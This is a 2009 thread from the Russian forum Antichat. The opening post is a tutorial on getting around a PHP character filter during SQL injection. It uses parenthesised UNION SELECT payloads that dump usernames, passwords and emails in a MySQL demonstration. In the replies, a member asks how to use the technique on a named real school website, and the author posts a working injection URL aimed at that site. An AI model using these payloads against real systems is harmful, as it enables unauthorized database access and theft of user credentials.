Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Небольшой очерк 2 - Фильтрация |

18.06.2009, 00:17
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Небольшой очерк 2 - Фильтрация
Тянет меня видимо раз в полгода писать что то подобное.
Суть очерка - показать возможность выкрутиться при sql-inj и составить нормальный запрос обходя фильтрацию спецсимволов в GPC:
-Пробел %2B, +
-Табуляция %09
-Возврат каретки %0D
-Перевод строки %0A
-Составляющие комментариев -, /, *
*Примечание: дальнейшее описание имеет смысл только если после уязвимого параметра в теле запроса нет ничего что бы могло помешать логике, и не
пришлось бы использовать комментарии
1. Например вот такой скрипт фильтрации:
PHP код:
$str = str_replace('/', '',
str_replace('*', '',
str_replace('=', '',
str_replace('+', '',
str_replace(' ', '',
str_replace('%2B', '',
str_replace('%0B', '',
str_replace('%09', '',
str_replace('$0D', '',
str_replace('%0A', '', $str))))))))));
Видно что он всё порежет. Тут помогут скобки ( ) , с их помощью можно вообще не пользоваться какими либо другими разделителями инструкций/выражений etc.
2. PoC
Код:
mysql> select * from news;
+---------+-----------+------------+---------------+
| news_id | news_name | news_theme | news |
+---------+-----------+------------+---------------+
| 1 | news1 | theme1 | newsnewsnews1 |
| 2 | news2 | theme2 | newsnewsnews2 |
+---------+-----------+------------+---------------+
2 rows in set
mysql> select * from users;
+----+----------+--------+--------------+
| id | username | pwd | email |
+----+----------+--------+--------------+
| 1 | admin | 12345 | 1234@1234.ru |
| 2 | user | qwerty | user@123.ru |
| 3 | user1 | 0000 | ffff@fff.ru |
+----+----------+--------+--------------+
3 rows in set
---
Код:
mysql> select news_name, news_theme, news from news where news_id=1;
Допустим параметр news_id как раз мы можем изменить, тогда:
Код:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(1),(2),(3));
+-----------+------------+------+
| news_name | news_theme | news |
+-----------+------------+------+
| 1 | 2 | 3 |
+-----------+------------+------+
1 row in set
Ну вы понели..
---
Код:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(concat_ws(0x3a,id,username,pwd,email)),(concat_ws(0x3a,database(),user())),(null)from(users)where(id)like(1));
+----------------------------+---------------------+------+
| news_name | news_theme | news |
+----------------------------+---------------------+------+
| 1:admin:12345:1234@1234.ru | test:root@localhost | NULL |
+----------------------------+---------------------+------+
1 row in set
Фильтр успешно обходится. Дальше только ваша фантазия.
3 ...
4 PROFIT
PS
Кстати встречались такие цмс, где приходилось обходиться скобками. Редко, но бывает.
PPS Примеров можно приводить море, но направление я дал, дальше уже и сами сможете потестить.
PPPS Если не понятна логика построения таких запросов, спрашивайте.
eof
Последний раз редактировалось .Slip; 18.06.2009 в 02:00..
|
|
|

18.06.2009, 00:38
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме: 7617458
Репутация:
3965
|
|
Мой пост можете не читать
Сообщение от .Slip
1. Например вот такой скрипт фильтрации:
PHP код:
$str = str_replace('/', '',
str_replace('*', '',
str_replace('=', '',
str_replace('+', '',
str_replace(' ', '',
str_replace('%2B', '',
str_replace('%09', '',
str_replace('$0D', '',
str_replace('%0A', ''))))))));
Конечно класно, но такой код жесть) Хотя б уже сделал
PHP код:
str_replace(array("/","*","итд"), $str);

__________________
BlackHat. MoDL
Последний раз редактировалось Dimi4; 18.06.2009 в 00:48..
|
|
|

18.06.2009, 00:42
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Нашли до чего доебаться, суть не в этом
|
|
|

18.06.2009, 01:22
|
|
Reservists Of Antichat - Level 6
Регистрация: 16.07.2005
Сообщений: 653
Провел на форуме: 8854279
Репутация:
2727
|
|
вообще-то боян страшный..
__________________
ПИУ-ПИУ...
|
|
|

18.06.2009, 01:24
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
баян, но ладно)
Слип молодец :-*
|
|
|

18.06.2009, 01:29
|
|
Познающий
Регистрация: 16.05.2009
Сообщений: 42
Провел на форуме: 190310
Репутация:
7
|
|
Как к примеру сюда применить?
так работает
http://www.tauntonschool.co.uk/foundation/index.php?id=-1'+union+select+1,2,3,4+--+
так не работает
http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)union(select(1),(2),(3),(4));
|
|
|

18.06.2009, 01:40
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
farpost, http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)'union(select(1),(2),(3),(4))--+
Только хз зачем тебе это, я же написал что это редкий случай когда нельзя обойтись без пробела и комментариев.
|
|
|

18.06.2009, 01:51
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
кстати про %0b забыл
|
|
|

18.06.2009, 02:01
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Добавил
|
|
|

18.06.2009, 02:07
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Я пока ниразу не встречал, где бы это нужно было)
Но спасибо, буду знать 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|